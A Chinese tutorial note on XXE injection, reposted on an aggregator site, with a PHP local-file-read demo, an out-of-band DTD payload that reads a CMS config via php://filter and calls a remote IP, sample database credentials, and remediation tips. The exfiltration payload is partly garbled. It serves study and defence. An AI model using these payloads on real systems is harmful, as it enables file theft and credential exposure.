详细介绍:XXE - 实体注入(xml外部实体注入)

news/2025/9/29 12:35:56/文章来源:https://www.cnblogs.com/yxysuanfa/p/19118542

XXE的危害和SSRF有点像

XXE = XML外部实体注入 (被各种后端脚本调用)
=>XML(存数据不会做任何事情)(像html|传输数据|无预定义)
=>外部实体()
=>注入 [用户输入的资料被当做代码进行执行]

预定义:(预先定义好的东西)
var_dump() 查看数据类型?
eval() 可以命令执行?
echo 他允许输出?

前端代码:
<b></b> 加粗
<h1></h1> 大标题
XML:
<b></b> 名字而已
<h1></h1>

XML:是一个纯文本 存储信息(可以自己发明标签)
<?xml version="1.0"?> 1.0版本
DTD(通过特殊的命令去其他文件读取信息)
SYSTEM
XML部分


引用(1.txt) 包含(include) 目的处理代码冗余
mysqli_connect();
mysqli_query();
mysqli_close();


危害:
XXE 许可通过dtd去读取、访问其他资料或者网站

实体 => 变量 调用变量&实体名;
<!DOCTYPE scan [
<!ENTITY test SYSTEM "file:///c:/1.txt">]> DTD部分
将c的1.txt文件放入test中
<scan>&test;</scan> XML部分

simplexml_load_string() // 读取字符串当作xml执行
simplexml_load_file() // 读取文件当作 xml执行

<?php $test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>'; $obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT); print_r($obj); ?>

变量test里面是XML 随后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement该类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件

XSS平台:
你打XSS到目标站点 -> 有人访问后把数据传到平台 -> 记录下来,等你来看

XML: 请求一个你自己搭建的php档案,其他的文件。(你想要的材料给带出来)
php文件记录请求的传参内容(记录文件)
等你去看就可以了

没有回显,外带出来:
1、获取信息
2、发送信息

file:/// 正常情况下,网站不应该使用的协议


PHP伪协议(PHP的内部协议)
php://filter/read=convert.base64-encode/resource=a.txt


如何寻找XXE:
通过1、看到数据包莫名其妙传递、返回XML代码能够试试
2、代码审计

代码审计:
1、静态审计(纯看)
2、动态审计(网站运行起来,然后经过一些特殊手法,去追踪具体的代码流程)
3、小技巧:依靠静态看代码,然后不用动态调试软件,直接修改源码进行动态调试

有些代码会被引用几百次 如何确定这段是否搭建 加入相关语句 看页面回显 有回显就是执行了 没有回显就是没执行

静态:
1、全文通读(可拿bluecms练习)
2、危险函数定位 eval() mysqli_query(

$GLOBALS['HTTP_RAW_POST_DATA'] => 获取POST原始数据 (form表单)

<?xml:version="1.0">
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpstudy
scms/conn/conn.php
">
8 remote SYsTEM "http://59.63.200.79:8014/xxe/1.xml">
<!ENTITY
&remote;
&send;

]>

使用时更改红色就对路径

有的网站可能开了3306 远程数据库连接 即可用xml实体漏洞爆出的密码连接
<?php
error_reporting(E_ALL ^ E_NOTICE);
header("content-type:text/html;charset=utf-8");
session_start();
$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");

md5 => 明文能转密文 密文不能转明文 (e99d2e51cbefe75251f1d40821e07a32)

1.48
修复XXE:
1、libxml_disable_entity_loader(true); PHP的(禁止加载XML实体)
2、过滤SYSTEM关键字

总结:
1、XXE => XML外部实体注入 (目标执行了大家提交的XML代码)
2、XXE代码层(套)
3、危害 => SSRF 差不多
4、回显问题 => 2步走的方法外带出来
5、如何找这个漏洞(1、看到传参或者返回包出现xml 2、代码审计)
6、代码审计(动态、静态[全文、危险函数]、小技巧)
7、seay工具(全文搜索,定位函数)
8、本地测试,最好可以开一个全新环境,以免出疑问
9、以前存在的漏洞,去看了之后行尝试去找新的漏洞(查看补丁)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/921825.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【面板材料】A股上市公司增发股票及配股相关资料(1991-2024年)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

BindingList的应用与改进

在编写UI的过程中,我们通常使用ObservableCollection来监听列表的变化。然而,ObservableCollection只能在添加/移动/移除元素时通知界面,这意味着元素内部更改时,ObservableCollection是无法通知的 如果需要监听列…

谷歌 SEO 新词 xx animate 等实操教程

如上图,最近 AI 圈又冒出新词:wan animate 等,你们都看到了吗? 今天聊聊 SEO 新词这个"淘金"生意,为什么有些词能做,有些词碰都不能碰。 一、wan animate vs veo3:天壤之别如上图:❌ veo3:打死别碰…

US$248 Xhorse VVDI2 BMW FEM/BDC + Copy 48 Transponder (96 Bit) + MQB Authorization

Xhorse VVDI2 BMW FEM/BDC + Copy 48 Transponder (96 Bit) + MQB Authorization Xhorse Promotion for loyal customers till Christmas!!! This is Authorization Only! No Need Shipping, please pass us serial nu…

完整教程:【读书笔记】架构整洁之道 P6 实现细节

完整教程:【读书笔记】架构整洁之道 P6 实现细节pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas",…

Print Conductor打印软件安装教程!一款非常好用的批量打印软件!支持PDF、Word、Excel、图片等

软件介绍 Print Conductor是一款由国外开发者制作的批量打印软件,支持PDF、Word、Excel、图片等多种格式文件的快速打印。它通过拖拽文件到软件界面即可实现批量打印,无需逐个打开文档,特别适合需要处理大量打印任务…

Python 面向对象编程基础:类与对象初体验

面向对象编程(OOP)是一种编程范式,它通过对象和类的概念来组织代码,使程序更加模块化、可维护和可扩展。Python 是一种支持面向对象编程的语言,提供了强大的类和对象机制。今天,就让我们一起学习 Python 中的面向…

Drools 7.0基础环境搭建

Drools 7.0基础环境搭建一、环境概述 Drools 7.0当前最新的是7.74.1 Final,Drools 8.0不兼容JDK8了(你发任你发,我用java8),7.73.0.Final这个兼容最稳定所以选这个 JDK:openjdk version "1.8.0_452" Mav…

o2o网站大全asp.net网站

系列文章目录 本系列课程主要针对于Ehcache缓存框架功能的开发实践全流程技术指南&#xff01; 第一节&#xff1a;Ehcache缓存框架的基本概念和简介第二节&#xff1a;Ehcache缓存框架的配置分析和说明第三节&#xff1a;Ehcache缓存框架的缓存方式的探索第四节&#xff1a;E…

邯郸市网络建站aspx网站开发 案例

前段时间到印度的马德拉斯市出差了3个月(4月到6月)&#xff0c;今天终于有时间将自己的出差心得和见闻记录下来&#xff0c;可能以后就会忘记。下午16:00时在深圳坐车到香港机场&#xff0c;上车没多久会让填一个入境香港的单子&#xff0c;然后是过海关&#xff0c;过海关时会…

自动驾驶中的传感器技术54——USS(0) - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

网站整体规划建设银行网站半天进不去

XSS 概念&#xff1a;由于web应用程序对用户的输入过滤不严&#xff0c;通过html注入篡改网页&#xff0c;插入恶意脚本&#xff0c;从而在用户浏览网页时&#xff0c;控制用户浏览器的一种攻击。XSS类型&#xff1a;Reflected(反射型)&#xff1a;只是简单的把用户输入的数据反…

基于微信小程序的旅游景点体系【2026最新】

基于微信小程序的旅游景点体系【2026最新】pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "…

US$64 NEC KEY II Adapter for CKM100 and Digimaster III

NEC KEY II Adapter for CKM100 and Digimaster IIIPackage List:1set x NEC KEY II Adapter for CKM100 and Digimaster III Pictures of NEC KEY II Adapter for CKM100 and Digimaster IIINEC KEY II Adapter for C…

反电动势法控制BLDC电机的原理图分析

1.概述 无霍尔的BLDC控制方案与有霍尔BLDC的基本原理相似,都是用所谓“六步换向法”,根据转子当前的位置,按照一定的顺序给定子绕组通电使BLDC电机转动。所不同的是无霍尔BLDC不需要霍尔效应传感器,通过检测定子绕…

网站建设属于网络设计解决:如何将初步规划中的各个子系统从内部

一、 提示 需要重启服务器 操作之前备份 k8s 中所有资源的 yaml 文件 如下是备份脚本&#xff0c;仅供参考 # 创建备份目录 test -d $3 || mkdir $3 # $1 命名空间 # $2 资源名称&#xff1a; sts deploy configMap svc 等 # $3 资源备份存放的目录名称for app in kubec…

完整教程:Altium Designer(AD)设计规则检查设置

完整教程:Altium Designer(AD)设计规则检查设置pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", …

理查德西尔斯做的网站dw个人网页制作教程学生

1、Dubbo的基本架构是怎样的&#xff1f; Dubbo是一个高性能的Java RPC&#xff08;远程过程调用&#xff09;框架&#xff0c;它的基本架构主要由以下几个核心组件构成&#xff1a; Provider&#xff08;服务提供方&#xff09;&#xff1a; Provider是指暴露服务的服务提供者…

企业物联网安全必须优先考虑的5个不可否认的理由

本文探讨了企业物联网安全面临的五大挑战,包括设备数量激增带来的安全风险、安全团队能力不足、行业快速发展带来的隐私问题、信息共享的重要性以及海量设备管理的复杂性。文章为企业信息安全实践者提供了重要的安全建…

网站开发是叫系统吗怎么做返利网之类的网站

简介&#xff1a;传统MySQL基于binlog复制的主备架构有它的局限性&#xff0c;包括存储空间有限&#xff0c;备份恢复慢&#xff0c;主备复制延迟等问题&#xff0c;为了解决用户对于云上RDS(X-Engine)大容量存储&#xff0c;以及弹性伸缩的诉求&#xff0c;PolarDB推出了历史库…